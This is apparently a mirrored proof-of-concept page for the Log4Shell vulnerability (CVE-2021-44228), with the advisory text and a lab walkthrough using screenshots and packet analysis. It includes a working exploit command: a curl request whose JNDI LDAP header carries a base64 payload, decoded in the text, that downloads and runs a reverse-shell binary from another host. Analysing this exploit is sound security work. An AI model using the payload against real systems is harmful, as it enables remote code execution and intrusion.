Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Readme
# LOG4J-CVE-2021-44228

Log4Shell — also known as CVE-2021-44228 — is a critical vulnerability that enables remote code execution in systems using the Apache Foundation’s Log4j, which is an open-source Java library that is extensively used in commercial and open-source software products and utilities


![0_6ImDNNYn_uGlIgog](https://user-images.githubusercontent.com/126046383/231078375-9a93ded8-446f-4bc6-94df-94bdc8ce2173.jpg)





POC Anaylsis

The vulnerable Server is running on port 8080 

![Screenshot 2023-04-11 115553](https://user-images.githubusercontent.com/126046383/231081730-f55fb095-eee9-43cc-be84-39f0f6dbea38.png)

And the ldap server is running on two ports http 8888 and ldap 1389


![Screenshot 2023-04-11 115631](https://user-images.githubusercontent.com/126046383/231081974-427344be-28fd-408d-8ca3-6f9e2b1fa353.png)




**EXPLOIT COMMAND**

curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'


{  

172.17.0.2:8080 -- Vulnerable Server IP
   
   
   
172.17.0.1:1389 -- LDAP Server IP 
   





Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==


Decrypted Command - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev

}

**PACKET ANALYSIS**


![PACKETS](https://user-images.githubusercontent.com/126046383/231113123-3af025cc-8056-4ab5-9cf8-a68fccadfa3c.png)



![flowgraph](https://user-images.githubusercontent.com/126046383/231113209-86a3a916-b793-4952-9819-a2774c3ace05.png)


AS WE CAN SEE IN THE PACKETS THAT THE SERVER IS SENDING A GET REQUEST FOR A CLASS TO LDAP SERVER , IF WE CHECK THE EXPLOIT CLASS THEN WE CAN SEE THAT LDAP SERVER IS SENDING THE DECRYPTED COMMAND IN THE EXPLOIT CLASS.

![EXP_CLASS](https://user-images.githubusercontent.com/126046383/231115302-e8f4ee04-1e06-4a6e-93c4-61b7c4a7e81c.png)





















Ref



https://github.com/simrotion13/log4shell-vulnerable-app




https://github.com/black9/Log4shell_JNDIExploit.git
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →